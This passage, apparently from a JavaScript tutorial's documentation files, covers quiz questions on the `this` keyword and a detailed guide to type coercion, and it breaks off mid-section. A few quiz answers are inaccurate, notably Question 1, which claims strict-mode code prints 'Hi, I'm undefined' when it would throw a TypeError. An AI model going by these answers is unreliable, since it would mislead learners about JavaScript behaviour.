figure out what `this` refers to in each example before revealing the answer.\n\n<AccordionGroup>\n  <Accordion title=\"Question 1: What does this log?\">\n    ```javascript\n    const user = {\n      name: \"Alice\",\n      greet() {\n        return `Hi, I'm ${this.name}`;\n      }\n    };\n    \n    const greet = user.greet;\n    console.log(greet());\n    ```\n    \n    **Answer:** `\"Hi, I'm undefined\"`\n    \n    When `greet` is assigned to a variable and called without an object, implicit binding is lost. Default binding applies, and in strict mode `this` is `undefined`.\n  </Accordion>\n  \n  <Accordion title=\"Question 2: What does this log?\">\n    ```javascript\n    class Counter {\n      count = 0;\n      \n      increment = () => {\n        this.count++;\n      }\n    }\n    \n    const counter = new Counter();\n    const inc = counter.increment;\n    inc();\n    inc();\n    console.log(counter.count);\n    ```\n    \n    **Answer:** `2`\n    \n    Arrow function class fields have lexical `this` bound to the instance. Even when extracted, `this` still refers to `counter`.\n  </Accordion>\n  \n  <Accordion title=\"Question 3: What does this log?\">\n    ```javascript\n    function greet() {\n      return `Hello, ${this.name}!`;\n    }\n    \n    const alice = { name: \"Alice\" };\n    const bob = { name: \"Bob\" };\n    \n    const greetAlice = greet.bind(alice);\n    console.log(greetAlice.call(bob));\n    ```\n    \n    **Answer:** `\"Hello, Alice!\"`\n    \n    Once a function is bound with `bind()`, its `this` cannot be changed — not even with `call()`. The binding is permanent.\n  </Accordion>\n  \n  <Accordion title=\"Question 4: What does this log?\">\n    ```javascript\n    const obj = {\n      name: \"Outer\",\n      inner: {\n        name: \"Inner\",\n        getName() {\n          return this.name;\n        }\n      }\n    };\n    \n    console.log(obj.inner.getName());\n    ```\n    \n    **Answer:** `\"Inner\"`\n    \n    With implicit binding, `this` is the object immediately to the left of the dot at call time. That's `obj.inner`, not `obj`.\n  </Accordion>\n  \n  <Accordion title=\"Question 5: What does this log?\">\n    ```javascript\n    const calculator = {\n      value: 10,\n      add(numbers) {\n        numbers.forEach(function(n) {\n          this.value += n;\n        });\n        return this.value;\n      }\n    };\n    \n    console.log(calculator.add([1, 2, 3]));\n    ```\n    \n    **Answer:** `10` (and likely a TypeError in strict mode)\n    \n    The callback function inside `forEach` has its own `this` (default binding), which is `undefined` in strict mode. The fix is to use an arrow function: `numbers.forEach((n) => { this.value += n; })`.\n  </Accordion>\n  \n  <Accordion title=\"Question 6: What does this log?\">\n    ```javascript\n    function multiply(a, b) {\n      return a * b;\n    }\n    \n    const double = multiply.bind(null, 2);\n    console.log(double(5));\n    console.log(double.length);\n    ```\n    \n    **Answer:** `10` and `1`\n    \n    `bind` creates a partially applied function. `double(5)` returns `2 * 5 = 10`. The `length` property of a bound function reflects remaining parameters: `multiply` has 2 params, we pre-filled 1, so `double.length` is 1.\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Frequently Asked Questions\n\n<AccordionGroup>\n  <Accordion title=\"What is 'this' in JavaScript?\">\n    The `this` keyword refers to the object that is currently executing the function. Unlike most languages where `this` is determined at definition time, JavaScript determines `this` at call time based on how the function is invoked. As documented on MDN, `this` follows specific binding rules: default, implicit, explicit (call/apply/bind), and new binding.\n  </Accordion>\n\n  <Accordion title=\"What is the difference between call, apply, and bind?\">\n    `call` invokes the function immediately with a specified `this` and individual arguments. `apply` also invokes immediately but takes arguments as an array. `bind` does not invoke the function — it returns a new function with `this` permanently set. Use `call`/`apply` for one-time invocations and `bind` when you need a reusable function with a fixed context.\n  </Accordion>\n\n  <Accordion title=\"Why do arrow functions not have their own 'this'?\">\n    Arrow functions were designed to solve the common problem of losing `this` context in callbacks. According to the ECMAScript 2015 specification, arrow functions do not have their own `this` binding — they inherit `this` from their enclosing lexical scope. This makes them ideal for callbacks and event handlers where you want to preserve the outer `this`.\n  </Accordion>\n\n  <Accordion title=\"How do you fix 'this' losing context in a callback?\">\n    There are three common solutions: use an arrow function (which inherits `this` lexically), use `.bind(this)` to create a bound function, or store `this` in a variable like `const self = this`. Arrow functions are the most modern and concise approach and are recommended for most callback scenarios.\n  </Accordion>\n\n  <Accordion title=\"What are the five binding rules for 'this' in order of priority?\">\n    From highest to lowest priority: (1) `new` binding — `this` is the newly created object. (2) Explicit binding — `call`, `apply`, or `bind` set `this`. (3) Implicit binding — the object before the dot becomes `this`. (4) Default binding — `this` is `globalThis` (or `undefined` in strict mode). (5) Arrow functions — `this` is inherited from the enclosing scope and cannot be overridden.\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Related Concepts\n\n<CardGroup cols={2}>\n  <Card title=\"Scope & Closures\" icon=\"eye\" href=\"/concepts/scope-and-closures\">\n    How variables are accessed — related to lexical this in arrow functions\n  </Card>\n  <Card title=\"Object Creation & Prototypes\" icon=\"hammer\" href=\"/concepts/object-creation-prototypes\">\n    How the new keyword creates objects and binds this\n  </Card>\n  <Card title=\"Factories and Classes\" icon=\"industry\" href=\"/concepts/factories-classes\">\n    Object creation patterns that rely on this binding\n  </Card>\n  <Card title=\"Inheritance & Polymorphism\" icon=\"link\" href=\"/concepts/inheritance-polymorphism\">\n    Understanding the prototype chain and method inheritance\n  </Card>\n</CardGroup>\n\n---\n\n## Reference\n\n<CardGroup cols={2}>\n  <Card title=\"this — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/this\">\n    Official MDN documentation on the this keyword\n  </Card>\n  <Card title=\"call() — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/call\">\n    MDN documentation for Function.prototype.call()\n  </Card>\n  <Card title=\"apply() — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/apply\">\n    MDN documentation for Function.prototype.apply()\n  </Card>\n  <Card title=\"bind() — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/bind\">\n    MDN documentation for Function.prototype.bind()\n  </Card>\n</CardGroup>\n\n## Articles\n\n<CardGroup cols={2}>\n  <Card title=\"Grokking call(), apply() and bind() methods in JavaScript\" icon=\"newspaper\" href=\"https://levelup.gitconnected.com/grokking-call-apply-and-bind-methods-in-javascript-392351a4be8b\">\n    Uses a \"borrowing a car\" analogy that makes method borrowing click instantly. The side-by-side comparisons of call vs apply syntax are especially helpful.\n  </Card>\n  <Card title=\"Javascript: call(), apply() and bind()\" icon=\"newspaper\" href=\"https://medium.com/@omergoldberg/javascript-call-apply-and-bind-e5c27301f7bb\">\n    Builds understanding progressively from basic examples to implementing your own bind. Great for developers who want to know what's happening under the hood.\n  </Card>\n\n  <Card title=\"The Top 7 Tricky this Interview Questions\" icon=\"newspaper\" href=\"https://dmitripavlutin.com/javascript-this-interview-questions/\">\n    Dmitri Pavlutin's collection of challenging this-related questions to test your understanding.\n  </Card>\n  <Card title=\"How to understand the keyword this and context in JavaScript\" icon=\"newspaper\" href=\"https://www.freecodecamp.org/news/how-to-understand-the-keyword-this-and-context-in-javascript-cd624c6b74b8/\">\n    Covers the relationship between execution context and `this` binding that many tutorials skip. The \"3 scenarios\" framework makes debugging `this` issues straightforward.\n  </Card>\n</CardGroup>\n\n## Videos\n\n<CardGroup cols={2}>\n  <Card title=\"JavaScript call, apply and bind\" icon=\"video\" href=\"https://www.youtube.com/watch?v=c0mLRpw-9rI\">\n    Explains each method by solving real problems like borrowing array methods. The visual code walkthroughs make the execution order crystal clear.\n  </Card>\n  <Card title=\"JS Function Methods call(), apply(), and bind()\" icon=\"video\" href=\"https://www.youtube.com/watch?v=uBdH0iB1VDM\">\n    Shows exactly when `this` gets assigned during function execution. The step-through debugging demonstrations reveal what's actually happening in memory.\n  </Card>\n  <Card title=\"bind and this - Object Creation in JavaScript\" icon=\"video\" href=\"https://www.youtube.com/watch?v=GhbhD1HR5vk\">\n    MPJ's signature storytelling style makes `this` binding feel intuitive. Part of a larger series that builds up to understanding JavaScript's object system.\n  </Card>\n  <Card title=\"Javascript Interview Questions (Call, Bind and Apply)\" icon=\"video\" href=\"https://www.youtube.com/watch?v=VkmUOktYDAU\">\n    Roadside Coder's interview-focused video covering common questions about these methods.\n  </Card>\n</CardGroup>\n"
  },
  {
    "path": "docs/concepts/type-coercion.mdx",
    "content": "---\ntitle: \"Type Coercion\"\nsidebarTitle: \"Type Coercion: How Values Convert Automatically\"\ndescription: \"Learn JavaScript type coercion. Understand how values convert to strings, numbers, and booleans, plus the 8 falsy values.\"\n\"og:type\": \"article\"\n\"article:author\": \"Leonardo Maldonado\"\n\"article:section\": \"JavaScript Fundamentals\"\n\"article:tag\": \"javascript type coercion, implicit conversion, abstract equality, truthy falsy values, javascript type casting\"\n---\n\nWhy does `\"5\" + 3` give you `\"53\"` but `\"5\" - 3` gives you `2`? Why does `[] == ![]` return `true`? How does JavaScript decide what type a value should be?\n\n```javascript\n// JavaScript's \"helpful\" type conversion in action\nconsole.log(\"5\" + 3);    // \"53\" (string concatenation!)\nconsole.log(\"5\" - 3);    // 2 (numeric subtraction)\nconsole.log([] == ![]);  // true (wait, what?!)\n```\n\nThis surprising behavior is **[type coercion](https://developer.mozilla.org/en-US/docs/Glossary/Type_coercion)**. JavaScript automatically converts values from one type to another. Understanding these rules helps you avoid bugs and write more predictable code.\n\n<Info>\n**What you'll learn in this guide:**\n- The difference between implicit and explicit coercion\n- How JavaScript converts to strings, numbers, and booleans\n- The 8 falsy values every developer must memorize\n- How objects convert to primitives\n- The famous JavaScript \"WAT\" moments explained\n- Best practices for avoiding coercion bugs\n</Info>\n\n<Warning>\n**Prerequisites:** This guide assumes you understand [Primitive Types](/concepts/primitive-types). If terms like string, number, boolean, null, and undefined are new to you, read that guide first!\n</Warning>\n\n---\n\n## What Is Type Coercion?\n\n**Type coercion** is the automatic or implicit conversion of values from one data type to another in JavaScript. According to the ECMAScript specification, JavaScript performs these conversions through a set of \"abstract operations\" — internal algorithms like ToString, ToNumber, and ToBoolean. When you use operators or functions that expect a certain type, JavaScript will convert (coerce) values to make the operation work, sometimes helpfully, sometimes surprisingly. Understanding these conversion rules helps you write predictable, bug-free code.\n\n### The Shapeshifter Analogy\n\nImagine JavaScript as an overly helpful translator. When you give it values of different types, it tries to \"help\" by converting them, sometimes correctly, sometimes... creatively.\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                     THE OVERLY HELPFUL TRANSLATOR                        │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│  YOU: \"Hey JavaScript, add 5 and '3' together\"                           │\n│                                                                          │\n│  JAVASCRIPT (thinking): \"Hmm, one's a number, one's a string...          │\n│                          I'll just convert the number to a string!       │\n│                          '5' + '3' = '53'. You're welcome!\"              │\n│                                                                          │\n│  YOU: \"That's... not what I meant.\"                                      │\n│                                                                          │\n│  JAVASCRIPT: \"¯\\_(ツ)_/¯\"                                                │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\nThis \"helpful\" behavior is called **type coercion**. JavaScript automatically converts values from one type to another. Sometimes it's useful, sometimes it creates bugs that will haunt your dreams.\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                    TYPE COERCION: THE SHAPESHIFTER                       │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│        ┌─────────┐                    ┌─────────┐                        │\n│        │   \"5\"   │ ──── + 3 ────────► │  \"53\"   │  String won!           │\n│        │ string  │                    │ string  │                        │\n│        └─────────┘                    └─────────┘                        │\n│                                                                          │\n│        ┌─────────┐                    ┌─────────┐                        │\n│        │   \"5\"   │ ──── - 3 ────────► │    2    │  Number won!           │\n│        │ string  │                    │ number  │                        │\n│        └─────────┘                    └─────────┘                        │\n│                                                                          │\n│        Same values, different operators, different results!              │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\n### Explicit vs Implicit Coercion\n\nThere are two ways coercion happens:\n\n<Tabs>\n  <Tab title=\"Explicit Coercion\">\n    **You** control the conversion using built-in functions. This is predictable and intentional.\n    \n    ```javascript\n    // YOU decide when and how to convert\n    Number(\"42\")      // 42\n    String(42)        // \"42\"\n    Boolean(1)        // true\n    \n    parseInt(\"42px\")  // 42\n    parseFloat(\"3.14\") // 3.14\n    ```\n    \n    These functions — [`Number()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number), [`String()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String), [`Boolean()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Boolean), [`parseInt()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/parseInt), and [`parseFloat()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/parseFloat) — give you full control.\n    \n    This is the **safe** way. You know exactly what's happening.\n  </Tab>\n  <Tab title=\"Implicit Coercion\">\n    **JavaScript** automatically converts types when operators or functions expect a different type.\n    \n    ```javascript\n    // JavaScript \"helps\" without asking\n    \"5\" + 3           // \"53\" (number became string)\n    \"5\" - 3           // 2 (string became number)\n    \n    if (\"hello\") {}   // string became boolean (true)\n    \n    5 == \"5\"          // true (types were coerced)\n    ```\n    \n    This is where bugs hide. Learn the rules or suffer the consequences!\n  </Tab>\n</Tabs>\n\n### Why Does JavaScript Do This?\n\nJavaScript is a **dynamically typed** language. Variables don't have fixed types. This flexibility means JavaScript needs to figure out what to do when types don't match.\n\n```javascript\n// In JavaScript, variables can hold any type\nlet x = 42;       // x is a number\nx = \"hello\";      // now x is a string\nx = true;         // now x is a boolean\n\n// So what happens here?\nlet result = x + 10;  // JavaScript must decide how to handle this\n```\n\nOther languages would throw an error. JavaScript tries to make it work. Whether that's a feature or a bug... depends on who you ask!\n\n---\n\n## The Three Types of Conversion\n\nHere's the most important rule: **JavaScript can only convert to THREE [primitive types](/concepts/primitive-types):**\n\n| Target Type | Explicit Method | Common Implicit Triggers |\n|-------------|-----------------|--------------------------|\n| **String** | `String(value)` | `+` with a string, template literals |\n| **Number** | `Number(value)` | Math operators (`- * / %`), comparisons |\n| **Boolean** | `Boolean(value)` | `if`, `while`, `!`, `&&`, `\\|\\|`, `? :` |\n\nThat's it. No matter how complex the coercion seems, the end result is always a string, number, or boolean.\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                    THE THREE CONVERSION DESTINATIONS                     │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│                      ┌──────────────────────┐                            │\n│                      │    ANY VALUE         │                            │\n│                      │  (string, number,    │                            │\n│                      │   object, array...)  │                            │\n│                      └──────────┬───────────┘                            │\n│                                 │                                        │\n│                ┌────────────────┼────────────────┐                       │\n│                ▼                ▼                ▼                       │\n│          ┌──────────┐    ┌──────────┐    ┌──────────┐                    │\n│          │  String  │    │  Number  │    │ Boolean  │                    │\n│          │   \"42\"   │    │    42    │    │   true   │                    │\n│          └──────────┘    └──────────┘    └──────────┘                    │\n│                                                                          │\n│          These are the ONLY three possible destinations!                 │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\n---\n\n## String Conversion\n\nString conversion is the most straightforward. Almost anything can become a string.\n\n### When Does It Happen?\n\n```javascript\n// Explicit conversion\nString(123)           // \"123\"\nString(true)          // \"true\"\n(123).toString()      // \"123\"\n\n// Implicit conversion\n123 + \"\"              // \"123\" (concatenation with empty string)\n`Value: ${123}`       // \"Value: 123\" (template literal)\n\"Hello \" + 123        // \"Hello 123\" (+ with a string)\n```\n\nThe [`toString()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/toString) method and [template literals](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Template_literals) are also common ways to convert values to strings.\n\n### String Conversion Rules\n\n| Value | Result | Notes |\n|-------|--------|-------|\n| `123` | `\"123\"` | Numbers become digit strings |\n| `-12.34` | `\"-12.34\"` | Decimals and negatives work too |\n| `true` | `\"true\"` | Booleans become their word |\n| `false` | `\"false\"` | |\n| `null` | `\"null\"` | |\n| `undefined` | `\"undefined\"` | |\n| `[1, 2, 3]` | `\"1,2,3\"` | Arrays join with commas |\n| `[]` | `\"\"` | Empty array becomes empty string |\n| `{}` | `\"[object Object]\"` | Objects become this (usually useless) |\n| [`Symbol(\"id\")`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Symbol) | Throws TypeError! | Symbols can't implicitly convert |\n\n### The + Operator's Split Personality\n\nThe `+` operator is special: it does **both** addition and concatenation:\n\n```javascript\n// With two numbers: addition\n5 + 3               // 8\n\n// With any string involved: concatenation\n\"5\" + 3             // \"53\" (3 becomes \"3\")\n5 + \"3\"             // \"53\" (5 becomes \"5\")\n\"Hello\" + \" World\"  // \"Hello World\"\n\n// Order matters with multiple operands!\n1 + 2 + \"3\"         // \"33\" (1+2=3, then 3+\"3\"=\"33\")\n\"1\" + 2 + 3         // \"123\" (all become strings left-to-right)\n```\n\n<Warning>\n**Common gotcha:** The `+` operator with strings catches many developers off guard. If you're doing math and get unexpected string concatenation, check if any value might be a string!\n\n```javascript\n// Dangerous: user input is always a string!\nconst userInput = \"5\";\nconst result = userInput + 10;  // \"510\", not 15!\n\n// Safe: convert first\nconst result = Number(userInput) + 10;  // 15\n```\n</Warning>\n\n---\n\n## Number Conversion\n\nNumber conversion has more triggers than string conversion, and more edge cases to memorize.\n\n### When Does It Happen?\n\n```javascript\n// Explicit conversion\nNumber(\"42\")          // 42\nparseInt(\"42px\")      // 42 (stops at non-digit)\nparseFloat(\"3.14\")    // 3.14\n+\"42\"                 // 42 (unary plus trick)\n\n// Implicit conversion\n\"6\" - 2               // 4 (subtraction)\n\"6\" * 2               // 12 (multiplication)\n\"6\" / 2               // 3 (division)\n\"6\" % 4               // 2 (modulo)\n\"10\" > 5              // true (comparison)\n+\"42\"                 // 42 (unary plus)\n```\n\n### Number Conversion Rules\n\n| Value | Result | Notes |\n|-------|--------|-------|\n| `\"123\"` | `123` | Numeric strings work |\n| `\"  123  \"` | `123` | Whitespace is trimmed |\n| `\"123abc\"` | [`NaN`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/NaN) | Any non-numeric char → NaN |\n| `\"\"` | `0` | Empty string becomes 0 |\n| `\"  \"` | `0` | Whitespace-only becomes 0 |\n| `true` | `1` | |\n| `false` | `0` | |\n| `null` | `0` | null → 0 |\n| `undefined` | `NaN` | undefined → NaN (different!) |\n| `[]` | `0` | Empty array → \"\" → 0 |\n| `[1]` | `1` | Single element array |\n| `[1, 2]` | `NaN` | Multiple elements → NaN |\n| `{}` | `NaN` | Objects → NaN |\n\n<Warning>\n**null vs undefined:** Notice that `Number(null)` is `0` but `Number(undefined)` is `NaN`. This inconsistency trips up many developers!\n\n```javascript\nNumber(null)       // 0\nNumber(undefined)  // NaN\n\nnull + 5           // 5\nundefined + 5      // NaN\n```\n</Warning>\n\n### Math Operators Always Convert to Numbers\n\nUnlike `+`, the other math operators (`-`, `*`, `/`, `%`) **only** do math. They always convert to numbers:\n\n```javascript\n\"6\" - \"2\"    // 4 (both become numbers)\n\"6\" * \"2\"    // 12\n\"6\" / \"2\"    // 3\n\"10\" % \"3\"   // 1\n\n// This is why - and + behave differently!\n\"5\" + 3      // \"53\" (concatenation)\n\"5\" - 3      // 2 (math)\n```\n\n### The Unary + Trick\n\nThe unary `+` (plus sign before a value) is a quick way to convert to a number:\n\n```javascript\n+\"42\"        // 42\n+true        // 1\n+false       // 0\n+null        // 0\n+undefined   // NaN\n+\"hello\"     // NaN\n+\"\"          // 0\n```\n\n---\n\n## Boolean Conversion\n\nBoolean conversion is actually the simplest. Every value is either **truthy** or **falsy**.\n\n### When Does It Happen?\n\n```javascript\n// Explicit conversion\nBoolean(1)            // true\nBoolean(0)            // false\n!!value               // double negation trick\n\n// Implicit conversion\nif (value) { }        // condition check\nwhile (value) { }     // loop condition\nvalue ? \"yes\" : \"no\"  // ternary operator\nvalue && doSomething() // logical AND\nvalue || defaultValue  // logical OR\n!value                // logical NOT\n```\n\n### The 8 Falsy Values (Memorize These!)\n\nAs documented in MDN's reference on falsy values, there are **8 common values** that convert to `false`. Everything else is `true`.\n\n```javascript\n// THE FALSY EIGHT\nBoolean(false)        // false (obviously)\nBoolean(0)            // false\nBoolean(-0)           // false (yes, -0 exists)\nBoolean(0n)           // false ([BigInt](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/BigInt) zero)\nBoolean(\"\")           // false (empty string)\nBoolean(null)         // false\nBoolean(undefined)    // false\nBoolean(NaN)          // false\n```\n\n<Info>\n**Technical note:** There's actually a 9th falsy value: [`document.all`](https://developer.mozilla.org/en-US/docs/Web/API/Document/all). It's a legacy browser API that returns `false` in boolean context despite being an object. You'll rarely encounter it in modern code, but it exists for backwards compatibility with ancient websites.\n</Info>\n\n### Everything Else Is Truthy!\n\nThis includes some surprises:\n\n```javascript\n// These are all TRUE!\nBoolean(true)         // true (obviously)\nBoolean(1)            // true\nBoolean(-1)           // true (negative numbers!)\nBoolean(\"hello\")      // true\nBoolean(\"0\")          // true (non-empty string!)\nBoolean(\"false\")      // true (non-empty string!)\nBoolean([])           // true (empty array!)\nBoolean({})           // true (empty object!)\nBoolean(function(){}) // true\nBoolean(new Date())   // true\nBoolean(Infinity)     // true\nBoolean(-Infinity)    // true\n```\n\n<Warning>\n**Common gotchas:**\n\n```javascript\n// These catch people ALL the time:\nBoolean(\"0\")          // true (it's a non-empty string!)\nBoolean(\"false\")      // true (it's a non-empty string!)\nBoolean([])           // true (arrays are objects, objects are truthy)\nBoolean({})           // true (even empty objects)\n\n// If checking for empty array, do this:\nif (arr.length) { }   // checks if array has items\nif (arr.length === 0) { }  // checks if array is empty\n```\n</Warning>\n\n### Logical Operators Don't Return Booleans!\n\nA common misconception: `&&` and `||` don't necessarily return `true` or `false`. They return one of the **original values**:\n\n```javascript\n// || returns the FIRST truthy value (or the last value)\n\"hello\" || \"world\"    // \"hello\"\n\"\" || \"world\"         // \"world\"\n\"\" || 0 || null || \"yes\"  // \"yes\"\n\n// && returns the FIRST falsy value (or the last value)\n\"hello\" && \"world\"    // \"world\"\n\"\" && \"world\"         // \"\"\n1 && 2 && 3           // 3\n\n// This is useful for defaults!\nconst name = userInput || \"Anonymous\";\nconst display = user && user.name;\n```\n\n---\n\n## Object to Primitive Conversion\n\nWhen JavaScript needs to convert an [object to a primitive](/concepts/primitives-objects) (including arrays), it follows a specific algorithm.\n\n### The ToPrimitive Algorithm\n\n<Steps>\n  <Step title=\"Check if already primitive\">\n    If the value is already a primitive (string, number, boolean, etc.), return it as-is.\n  </Step>\n  \n  <Step title=\"Determine the 'hint'\">\n    JavaScript decides whether it wants a \"string\" or \"number\" based on context:\n    - **String hint:** `String()`, template literals, property keys\n    - **Number hint:** `Number()`, math operators, comparisons\n    - **Default hint:** `+` operator, `==` (usually treated as number)\n  </Step>\n  \n  <Step title=\"Try valueOf() or toString()\">\n    - For **number** hint: try `valueOf()` first, then `toString()`\n    - For **string** hint: try `toString()` first, then `valueOf()`\n  </Step>\n  \n  <Step title=\"Return primitive or throw\">\n    If a primitive is returned, use it. Otherwise, throw `TypeError`.\n  </Step>\n</Steps>\n\n### How Built-in Objects Convert\n\n```javascript\n// Arrays - toString() returns joined elements\n[1, 2, 3].toString()   // \"1,2,3\"\n[1, 2, 3] + \"\"         // \"1,2,3\"\n[1, 2, 3] - 0          // NaN (can't convert \"1,2,3\" to number)\n\n[].toString()          // \"\"\n[] + \"\"                // \"\"\n[] - 0                 // 0 (empty string → 0)\n\n[1].toString()         // \"1\"\n[1] - 0                // 1\n\n// Plain objects - toString() returns \"[object Object]\"\n({}).toString()        // \"[object Object]\"\n({}) + \"\"              // \"[object Object]\"\n\n// Dates - special case, prefers string for + operator\nconst date = new Date(0);\ndate.toString()        // \"Thu Jan 01 1970 ...\"\ndate.valueOf()         // 0 (timestamp in ms)\n\ndate + \"\"              // \"Thu Jan 01 1970 ...\" (uses toString)\ndate - 0               // 0 (uses valueOf)\n```\n\n### Custom Conversion with valueOf and toString\n\nYou can control how your objects convert:\n\n```javascript\nconst price = {\n  amount: 99.99,\n  currency: \"USD\",\n  \n  valueOf() {\n    return this.amount;\n  },\n  \n  toString() {\n    return `${this.currency} ${this.amount}`;\n  }\n};\n\n// Number conversion uses valueOf()\nprice - 0              // 99.99\nprice * 2              // 199.98\n+price                 // 99.99\n\n// String conversion uses toString()\nString(price)          // \"USD 99.99\"\n`Price: ${price}`      // \"Price: USD 99.99\"\n\n// + is ambiguous, uses valueOf() if it returns primitive\nprice + \"\"             // \"99.99\" (valueOf returned number, then → string)\n```\n\n### ES6 Symbol.toPrimitive\n\nES6 introduced a cleaner way to control conversion — [`Symbol.toPrimitive`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Symbol/toPrimitive):\n\n```javascript\nconst obj = {\n  [Symbol.toPrimitive](hint) {\n    console.log(`Converting with hint: ${hint}`);\n    \n    if (hint === \"number\") {\n      return 42;\n    }\n    if (hint === \"string\") {\n      return \"forty-two\";\n    }\n    // hint === \"default\"\n    return \"default value\";\n  }\n};\n\n+obj           // 42 (hint: \"number\")\n`${obj}`       // \"forty-two\" (hint: \"string\")\nobj + \"\"       // \"default value\" (hint: \"default\")\n```\n\n---\n\n## The == Algorithm Explained\n\nThe loose equality operator `==` is where type coercion gets wild. For a deeper dive into all equality operators, see our [Equality Operators guide](/concepts/equality-operators). Here's how `==` actually works:\n\n### Simplified == Rules\n\n<Steps>\n  <Step title=\"Same type?\">\n    Compare directly (like `===`).\n    ```javascript\n    5 == 5           // true\n    \"hello\" == \"hello\"  // true\n    ```\n  </Step>\n  \n  <Step title=\"null or undefined?\">\n    `null == undefined` is `true`. Neither equals anything else.\n    ```javascript\n    null == undefined    // true\n    null == null         // true\n    null == 0            // false (special rule!)\n    null == \"\"           // false\n    ```\n  </Step>\n  \n  <Step title=\"Number vs String?\">\n    Convert the string to a number.\n    ```javascript\n    5 == \"5\"\n    // becomes: 5 == 5\n    // result: true\n    ```\n  </Step>\n  \n  <Step title=\"Boolean involved?\">\n    Convert the boolean to a number FIRST.\n    ```javascript\n    true == \"1\"\n    // step 1: 1 == \"1\" (true → 1)\n    // step 2: 1 == 1 (string → number)\n    // result: true\n    \n    true == \"true\"\n    // step 1: 1 == \"true\" (true → 1)\n    // step 2: 1 == NaN (\"true\" → NaN)\n    // result: false (surprise!)\n    ```\n  </Step>\n  \n  <Step title=\"Object vs Primitive?\">\n    Convert the object to a primitive.\n    ```javascript\n    [1] == 1\n    // step 1: \"1\" == 1 (array → string \"1\")\n    // step 2: 1 == 1 (string → number)\n    // result: true\n    ```\n  </Step>\n</Steps>\n\n### Step-by-Step Examples\n\n```javascript\n// Example 1: \"5\" == 5\n\"5\" == 5\n// String vs Number → convert string to number\n// 5 == 5\n// Result: true\n\n// Example 2: true == \"1\"\ntrue == \"1\"\n// Boolean involved → convert boolean to number first\n// 1 == \"1\"\n// Number vs String → convert string to number\n// 1 == 1\n// Result: true\n\n// Example 3: [] == false\n[] == false\n// Boolean involved → convert boolean to number first\n// [] == 0\n// Object vs Number → convert object to primitive\n// \"\" == 0 (empty array → empty string)\n// String vs Number → convert string to number\n// 0 == 0\n// Result: true\n\n// Example 4: [] == ![]\n[] == ![]\n// First, evaluate ![] → false (arrays are truthy)\n// [] == false\n// Boolean involved → false becomes 0\n// [] == 0\n// Object vs Number → [] becomes \"\"\n// \"\" == 0\n// String vs Number → \"\" becomes 0\n// 0 == 0\n// Result: true (yes, really!)\n```\n\n<Tip>\n**Just use `===`!** The triple equals operator never coerces types. If the types are different, it returns `false` immediately. This is almost always what you want.\n\n```javascript\n5 === \"5\"     // false (different types)\n5 == \"5\"      // true (coerced)\n\nnull === undefined  // false\nnull == undefined   // true\n```\n</Tip>\n\n---\n\n## Operators & Coercion Cheat Sheet\n\nQuick reference for which operators trigger which coercion:\n\n| Operator | Coercion Type | Example | Result |\n|----------|---------------|---------|--------|\n| `+` (with string) | String | `\"5\" + 3` | `\"53\"` |\n| `+` (unary) | Number | `+\"5\"` | `5` |\n| `-` `*` `/` `%` | Number | `\"5\" - 3` | `2` |\n| `++` `--` | Number | `let x = \"5\"; x++` | `6` |\n| `>` `<` `>=` `<=` | Number | `\"10\" > 5` | `true` |\n| `==` `!=` | Complex | `\"5\" == 5` | `true` |\n| `===` `!==` | None | `\"5\" === 5` | `false` |\n| `&&` `\\|\\|` | Boolean (internal) | `\"hi\" \\|\\| \"bye\"` | `\"hi\"` |\n| `!` | Boolean | `!\"hello\"` | `false` |\n| `if` `while` `? :` | Boolean | `if (\"hello\")` | `true` |\n| `&` `\\|` `^` `~` | Number (32-bit int) | `\"5\" \\| 0` | `5` |\n\n---\n\n## JavaScript WAT Moments\n\nLet's explore the famous \"weird parts\" that make JavaScript... special.\n\n<AccordionGroup>\n  <Accordion title=\"1. The + Operator's Split Personality\">\n    ```javascript\n    \"5\" + 3         // \"53\" (string concatenation)\n    \"5\" - 3         // 2 (math!)\n    \n    // Why? + does both addition AND concatenation\n    // If either operand is a string, it concatenates\n    // - only does subtraction, so it converts to numbers\n    ```\n  </Accordion>\n  \n  <Accordion title=\"2. Empty Array Weirdness\">\n    ```javascript\n    [] + []         // \"\" \n    // Both arrays → \"\", then \"\" + \"\" = \"\"\n    \n    [] + {}         // \"[object Object]\"\n    // [] → \"\", {} → \"[object Object]\"\n    \n    {} + []         // 0 (in browser console!)\n    // {} is parsed as empty block, then +[] = 0\n    // Wrap in parens to fix: ({}) + [] = \"[object Object]\"\n    ```\n  </Accordion>\n  \n  <Accordion title=\"3. Boolean Math\">\n    ```javascript\n    true + true     // 2 (1 + 1)\n    true + false    // 1 (1 + 0)\n    true - true     // 0 (1 - 1)\n    \n    // Booleans convert to 1 (true) or 